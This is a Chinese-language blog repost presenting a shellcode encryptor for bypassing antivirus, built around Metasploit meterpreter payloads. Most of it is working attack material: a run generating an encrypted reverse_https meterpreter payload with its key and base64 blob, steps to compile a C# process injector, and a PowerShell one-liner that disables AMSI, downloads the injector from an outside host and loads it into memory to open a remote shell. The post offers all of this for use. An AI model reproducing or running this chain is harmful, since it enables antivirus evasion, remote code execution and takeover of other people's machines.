bypass!一个简单的Shellcode加密器

admin 2023年8月7日10:31:10评论45 views字数 3020阅读10分4秒阅读模式

 

工具介绍

一个简单的 shellcode 加密器/解密器/执行器,用于绕过防病毒软件。注意:我已经完全重做了 bypass 的工作流程,我发现使用 PowerShell 将二进制文件注入内存是最有效的方法。
bypass!一个简单的Shellcode加密器
工具使用

./meterpreter_encryptor.py -h                                                                     usage: meterpreter_encryptor.py [-h] [-l LPORT] [-i LHOST] [-p PAYLOAD] [-m METHOD] [-k KEY] [-e ENCODER] [-f FORMAT]
optional arguments:  -h, --help            show this help message and exit  -l LPORT, --lport LPORT                        The local port that msfconsole is listening on.  -i LHOST, --lhost LHOST                        The local host that msfconsole is listening on.  -p PAYLOAD, --payload PAYLOAD                        The payload to generate in msfvenom.  -m METHOD, --method METHOD                        The method to use: thread/delegate.  -k KEY, --key KEY     The encryption key (32 chars).  -e ENCODER, --encoder ENCODER                        The meterpreter encoder.  -f FORMAT, --format FORMAT                        The format to output.
使用 meterpreter_encryptor.py 创建加密的 Base64 shellcode:
root@kali:~# ./meterpreter_encryptor.py -p windows/x64/meterpreter/reverse_https -i 192.168.1.228 -l 443 -f b64[+] Generating MSFVENOM payload...[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload[-] No arch selected, selecting arch: x64 from the payloadFound 1 compatible encodersAttempting to encode payload with 1 iterations of x64/xor_dynamicx64/xor_dynamic succeeded with size 667 (iteration=0)x64/xor_dynamic chosen with final size 667Payload size: 667 bytesSaved as: ./msf.bin[+] Encrypting the payload, key=fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec...[+] Base64 output:sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg
获取密钥和 shellcode 并将其插入 ProcessInjector.cs
// decrypt the base64 payloadstring payload = "sZkMii [etc...]";string key = "fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec";

将 C# 代码编译为可执行文件(例如metInject.exe)并通过 Web 服务器提供服务。

将可执行文件注入远程 PowerShell 进程:

# AMSI bypass$a = [Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like "*iutils") {$c = $b}};$d = $c.GetFields('NonPublic,Static');ForEach($e in $d) {if ($e.Name -like "*itFailed") {$f = $e}};$f.SetValue($null,$true)
$bytes = (Invoke-WebRequest "http://192.168.1.228/metInject.exe").Content;$assembly = [System.Reflection.Assembly]::Load($bytes);$entryPointMethod = $assembly.GetType('ProcessInjection.Program', [Reflection.BindingFlags] 'Public, NonPublic').GetMethod('Main', [Reflection.BindingFlags] 'Static, Public, NonPublic');$entryPointMethod.Invoke($null, (, [string[]] ('', '')));
bypass!一个简单的Shellcode加密器

 

希望您能拥有一个漂亮的 meterpreter shell。
bypass!一个简单的Shellcode加密器

 

下载地址

https://github.com/plackyhacker/Shellcode-Encryptor
 

 

原文始发于微信公众号(Hack分享吧):bypass!一个简单的Shellcode加密器

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月7日10:31:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   bypass!一个简单的Shellcode加密器http://cn-sec.com/archives/1936615.html

发表评论

匿名网友 填写信息